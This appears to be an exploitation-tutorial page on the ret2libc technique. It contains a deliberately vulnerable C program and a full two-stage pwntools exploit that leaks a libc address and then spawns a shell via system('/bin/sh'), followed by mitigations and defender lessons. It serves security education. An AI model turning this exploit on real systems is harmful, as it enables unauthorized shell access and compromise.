Skip to content

Returning into libc: the ret2libc Technique

NX is on and the binary is tiny, but libc is mapped and full of useful code. Leak its base past ASLR, then return straight into system("/bin/sh") — a full two-stage pwntools walkthrough.

Published on 4 min read

This is the third walkthrough in the Exploitation Techniques area. The ROP guide built an execve syscall by hand from gadgets. Often there is a shorter path: the program is dynamically linked, so libc is mapped into the process — and libc contains both system() and the string "/bin/sh". Returning straight into system("/bin/sh") is ret2libc.

The catch is ASLR: libc's base is randomized, so we must leak it before we can use it. That two-stage shape — leak, then exploit — is the most important pattern in this guide, and it recurs everywhere in modern exploitation.

As always, we build the target ourselves and work in a disposable lab. See the lab rules.

The target

/* vuln.c — dynamically linked, NX on, canary off, no PIE. */
#include <stdio.h>
#include <unistd.h>

void vuln(void) {
    char buf[64];
    read(0, buf, 256);      /* the bug: 256 bytes into 64 */
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c   # dynamically linked

checksec shows NX on and, importantly, no PIE on the executable itself — so the binary's own PLT/GOT and gadgets are at fixed addresses. Only libc moves.

NX:       NX enabled
PIE:      No PIE (0x400000)

The offset to the return address is 72, found with the same cyclic method as before.

Stage 1 — leak a libc address

The plan: use a short ROP chain to call puts(puts@got) — that prints the runtime address stored in the GOT for puts, which is an address inside the loaded libc. Then return to main so the program reads our input a second time for stage 2.

# leak.py (stage 1 of the exploit)
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")   # the libc this binary runs

rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]

payload  = b"A" * 72
payload += p64(pop_rdi) + p64(elf.got["puts"])  # rdi = &puts@got
payload += p64(elf.plt["puts"])                 # call puts(that address)
payload += p64(elf.symbols["main"])             # return to main for stage 2

io = process("./vuln")
io.send(payload)

leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]      # recover libc base
log.success("puts@libc leak: %#x", leak)
log.success("libc base:      %#x", libc.address)

libc.address = leak - libc.symbols["puts"] is the whole trick: the leak is base + offset_of_puts, and pwntools knows offset_of_puts for that libc, so subtracting gives the base. Once libc.address is set, pwntools resolves every other libc symbol at its correct runtime address.

Stage 2 — return into system("/bin/sh")

The program is now back at the start of main, waiting for input again. This time we send the real payload:

# ...continuing leak.py
binsh   = next(libc.search(b"/bin/sh\x00"))   # address of the string in libc
system  = libc.symbols["system"]
ret     = rop.find_gadget(["ret"])[0]         # 16-byte stack alignment

payload2  = b"A" * 72
payload2 += p64(ret)                          # align the stack (movaps)
payload2 += p64(pop_rdi) + p64(binsh)         # rdi = "/bin/sh"
payload2 += p64(system)                       # system("/bin/sh")

io.send(payload2)
io.interactive()
$ python3 leak.py
[+] puts@libc leak: 0x7f3c9e0a4ed0
[+] libc base:      0x7f3c9e01f000
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)

The bare ret before the call fixes the same 16-byte alignment issue that bites every x86-64 libc call. Drop it and system tends to crash inside a movaps.

Doing it against a remote/unknown libc

Locally you know the libc. Remotely you do not — you leak one or two function addresses and identify the version from a libc database (the low 12 bits of a function's address are fixed by page alignment, which narrows candidates fast). Then you use that libc's offsets. Using the wrong version is the classic reason the computed base is wrong.

Turn the mitigations back on

PIE on the executable

With -no-pie, the PLT thunks and the pop rdi gadget were at fixed addresses, so stage 1 could run without any leak. Rebuild with -pie and even the ROP chain's gadget addresses randomize — now you need a leak before you can leak, which usually means a second bug or a partial-overwrite trick. PIE turns a one-bug exploit into a two-bug problem.

Shadow stack / CET

system is reached by a ret off our corrupted stack. A shadow stack (-fcf-protection=full, Intel CET) holds the real return address and mismatches on that ret, aborting before system runs.

Full RELRO is not the fix here

ret2libc does not touch the GOT, so RELRO does not stop it (that is the next guide's technique). This is worth internalizing: mitigations are targeted, and "we enabled RELRO" says nothing about ret2libc.

MitigationEffect on ret2libc
Stack canaryStops the overwrite before either stage runs
PIE + ASLRRandomizes gadgets too; needs a leak before the leak
Shadow stack / CETAborts on the ret into system
Full RELRONo effect — GOT is never written

What this teaches a defender

  • The leak is the linchpin. Most modern exploits are "leak, then act." An information-disclosure bug you might rate low on its own is often the enabler for a memory-corruption bug rated high. Triage them together — see reading crash reports.
  • Ship PIE. Against a -no-pie binary, stage 1 needed no leak at all. PIE is what forces the attacker to find a disclosure primitive first.
  • checksec per binary, including libraries. A hardened main executable that loads a -no-pie, canary-less helper library inherits the weakest link.

Key takeaways

  • ret2libc returns into a single libc function — usually system("/bin/sh") — instead of hand-building a syscall.
  • ASLR forces a two-stage exploit: leak a resolved libc address, compute the base, then act.
  • libc.address = leak - libc.symbols[fn] recovers the base; match the exact libc version.
  • PIE and shadow stacks are the mitigations that bite here; RELRO does not, because ret2libc never touches the GOT.

Next: hijacking the GOT, where we do write to it — and Full RELRO finally matters.

Related guides

0x7000 · Exploitation Techniques

one-gadget: One Address to a Shell

Sometimes you control just one pointer. A one-gadget is a single libc address that calls execve("/bin/sh") — if its register and stack constraints hold. Find one, check the constraints, and use it.

0x7000 · Exploitation Techniques

Seccomp Sandboxes and the open-read-write Chain

A seccomp policy that bans execve takes the shell off the table, so attackers switch goals: open the flag, read it, write it back. Build the ORW chain, and see what a tighter policy stops.

0x7000 · Exploitation Techniques

Information Leaks: Defeating ASLR and Canaries

Modern exploits are leak-then-act. Build an out-of-bounds read, then use it to recover a stack canary, the PIE base and the libc base — the three secrets every mitigation relies on.